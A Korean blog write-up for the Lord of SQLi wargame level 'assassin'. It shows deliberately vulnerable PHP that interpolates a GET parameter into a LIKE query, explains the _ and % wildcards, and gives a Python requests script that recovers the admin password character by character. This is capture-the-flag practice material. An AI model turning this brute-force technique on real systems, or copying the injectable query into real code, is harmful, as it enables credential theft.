[LOS] SQL Injection 풀이 (assassin)- 14
소스 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
필터링 된 문자
'(싱글 쿼터)
문제 접근
like 문을 사용하여 admin의 pw와 같으면 문제가 풀리는 형식이다. 하지만 이 경우 첫번째만 같아도 통과가 되기 때문에 쉽게 풀이가 가능해지게된다. 아마 이를 막기 위해 hello guest의 pw와 몇자리 수까지는 같게 만들어 바로 Hello admin이 뜨지 않도록 했을 것 같다.
그렇기 때문에 어차피 문제는 admin pw가 나오기만 하면 되니 탐색시 hello admin이 안나오고 hello guest가 나온다면 해당 문자를 저장후 hello admin이 나올때까지 코드를 돌리면될 것이다.
몇자리 인지도 필요 없지만 _ 이것을 이용하면 몇자리인지 알 수 있다.
만약 비밀번호가
1234 라면
1___
_2__
__3_
___4
모두 1234라는 비밀번호를 가르키게 된다 즉 like와 비슷한 역할을 하는 것이다. 다만 위치를 지정해줄 수 있다는 점이 다르다.
%도 여기 문제를 풀때는 사용해야하는데 아래와 같이 작동을 하게 된다.
A% | 맨앞이 A인 데이터 |
%A% | 중간 값이 A인 데이터 |
%A | 맨 뒷값이 A인 데이터 |
Solution
import requests
url='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
cookies={'PHPSESSID':'nq20so8gef3ap4jgbif7rsm3ue'}
pw_str=''
adcheck = False
for position in range(1,9):
if(adcheck==True):
break
for find_pw in range(48,122):
value = pw_str + chr(find_pw)
parameter={'pw':value+'%'}
res = requests.get(url, params=parameter, cookies=cookies)
if("Hello admin" in res.text):
pw_str += chr(find_pw)
print("pw=", pw_str)
print("admin 비밀번호 찾기 완료")
adcheck = True
break
elif("Hello guest" in res.text):
pw_str += chr(find_pw)
print("pw=", pw_str)
break
print("Found all pw=", pw_str+"%")
'Coding > Wargame' 카테고리의 다른 글
[LOS] SQL Injection 풀이 (giant)- 14 (0) | 2022.06.14 |
---|---|
SQL Injection bypass(우회) 방법 정리 (0) | 2022.06.13 |
[LOS] SQL Injection 풀이 (bugbear) (0) | 2022.06.12 |
[LOS] SQL Injection 풀이 (darkknight) (0) | 2022.06.11 |
[LOS] SQL Injection 풀이 (golem) (0) | 2022.06.10 |